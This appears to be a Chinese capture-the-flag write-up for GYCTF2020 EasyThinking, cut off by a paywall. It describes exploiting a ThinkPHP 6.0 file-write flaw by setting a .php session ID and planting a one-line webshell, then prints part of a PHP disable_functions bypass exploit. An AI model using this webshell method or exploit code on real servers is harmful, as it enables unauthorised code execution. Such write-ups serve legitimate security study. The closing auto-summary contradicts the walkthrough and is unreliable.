[GYCTF2020]EasyThinking
一开始还以为是XSS漏洞,因为搜索记录会被保存。后来查了才知道是Thinkphp 6.0框架的任意文件操作漏洞。先注册一个账号登录,登录时抓包修改Session id为php文件名,长度是32位

session文件在/runtime/session/目录下,这是默认的。文件名是sess_加我们刚刚写的32位字符串:sess_0123456789012345678901234567.php。
我们可以先来看一下此时这个文件里有什么

然后我们搜索一下再看这个文件,可以看到我们搜索的字符串是被写进去了。

把一句话木马写进去,蚁剑连一下。连进去了但是不能读flag,要绕过disable_functions

github上找绕过的脚本,这老哥真强啊https://github.com/mm0r1/exploits/tree/master/php-filter-bypass
有很多可以用的版本,根据网站的php版本来选好了
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8</

本文详细介绍了如何利用Thinkphp6.0框架的任意文件操作漏洞进行攻击。首先,通过注册并登录,修改Sessionid为php文件名,然后查看session文件内容。接着,通过搜索功能将字符串写入文件,并尝试植入一句话木马。由于存在disable_functions限制,作者找到了绕过的方法,并给出了GitHub上的相关脚本。最后,通过一系列的内存操作技巧,成功触发任意命令执行,获取系统权限。但遗憾的是,未能直接读取flag。此文章深入剖析了Web安全漏洞利用过程,适合安全研究者参考。
最低0.47元/天 解锁文章
6175

被折叠的 条评论
为什么被折叠?



